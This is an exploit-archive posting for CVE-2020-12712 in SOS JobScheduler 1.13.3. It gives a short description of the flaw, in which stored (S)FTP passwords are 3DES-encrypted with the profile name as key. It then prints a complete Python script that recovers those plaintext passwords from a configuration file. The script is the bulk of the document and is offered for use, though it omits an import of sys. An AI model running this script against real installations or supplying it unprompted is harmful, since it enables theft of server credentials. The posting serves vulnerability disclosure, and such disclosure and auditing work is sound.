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SOS JobScheduler 1.13.3 Stored Password Decryption

SOS JobScheduler 1.13.3 Stored Password Decryption
Posted Jun 16, 2020
Authored by Sander Ubink

SOS JobScheduler version 1.13.3 encrypts a secret by simply using the name of a profile as the key, making it trivial to decrypt.

tags | exploit
advisories | CVE-2020-12712
SHA-256 | fe2cf7ab1a965708745f8a3ccea8786f1c5edbfe5c3b8ab23a4f225c60f669af

SOS JobScheduler 1.13.3 Stored Password Decryption

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# Exploit Title: SOS JobScheduler 1.13.3 - Stored Password Decryption
# Google Dork: N/A
# Date: 2020-04-20
# Exploit Author: Sander Ubink
# Vendor Homepage: www.sos-berlin.com
# Software Link: www.sos-berlin.com/en/jobscheduler-downloads
# Version: Tested on 1.12.9 and 1.13.3, vendor reported 1.12 and 1.13
# Tested on: Windows and Linux
# CVE: CVE-2020-12712

# Description: SOS JobScheduler is a tool for remote system administration that allows users to call maintenance scripts via a web interface.
# The tool places the maintenance scripts on the remote systems by means of (S)FTP. It allows the user to save profiles for these connections,
# in which the password for the (S)FTP connection is optionally stored. When the user chooses to store the password with the profile,
# it is encrypted using the name of the profile as the encryption key. Since the name of the profile is stored in the same configuration file,
# the plaintext (S)FTP password can trivially be recovered. The encryption algorithm used is Triple DES (3DES) with three keys, requiring a key
# length of 24 bytes. The profile name is padded to this length to create the key. Finally, the encrypted password gets base64 encoded before
# being stored in the configuration file.

# Usage: python jobscheduler-decrypt.py [encrypted password in base64] [profile name]

import pyDes
import base64
import argparse

parser = argparse.ArgumentParser(description="Decrypt the password stored in a Jobscheduler (S)FTP profile configuration file")
parser.add_argument("password", help="password to be decrypted")
parser.add_argument("profilename", help="name of the profile")
args = parser.parse_args()

if len(args.profilename) > 24:
sys.exit("Profile name is longer than 24 characters. Check the validity of the input.")

key = args.profilename + ((24 - len(args.profilename)) * " ")
cipher = pyDes.triple_des(key, pyDes.ECB, b"\0\0\0\0\0\0\0\0", pad=" ", padmode=None)
plain = cipher.decrypt(base64.b64decode(args.password))

print(plain)
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